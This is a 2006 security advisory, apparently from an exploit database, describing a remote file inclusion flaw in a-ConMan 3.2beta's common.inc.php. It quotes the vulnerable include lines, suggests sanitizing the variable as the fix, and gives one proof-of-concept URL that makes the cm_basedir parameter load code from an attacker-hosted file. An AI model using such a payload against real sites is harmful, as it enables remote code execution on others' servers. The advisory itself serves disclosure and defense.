a-ConMan <= 3.2b (common.inc.php) Remote File Inclusion Vulnerability

2006-11-22T00:00:00
ID 1337DAY-ID-1195
Type zdt
Reporter Matdhule
Modified 2006-11-22T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
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a-ConMan <= 3.2b (common.inc.php) Remote File Inclusion Vulnerability
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____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
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/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_61$2006

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[ECHO_ADV_61$2006] a-ConMan <= v3.2beta Remote File Inclusion
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Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: November, 22nd 2006
Location	: Indonesia, Jakarta
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
a-ConMan (Automated Content Management)

Application	: a-ConMan (Automated Content Management)
version		: 3.2beta
URL		: http://sourceforge.net/projects/a-conman

a-ConMan is a flexible database solution built to categorize and manage your image and video content. Giving you the ability to automate the building and updating for any type of content specific website within seconds. Utilizing one of the most advanced

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Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability at script common.inc.php

-----------------------common.inc.php----------------------
....
<?php
include_once($cm_basedir."/ez_sql.php");
include_once($cm_basedir."/pg2ezsql.php");
// include_once($cm_basedir."/functions.php");
$ver = "3.1.1228";

...
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Input passed to the "cm_basedir" parameter in common.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt?


Solution:
~~~~~~~
- Sanitize variable $cm_basedir on common.inc.php.

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Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous,str0ke
~ bius, lapets, BlueSpy, NpR, h4ntu, thama, Fungky
     
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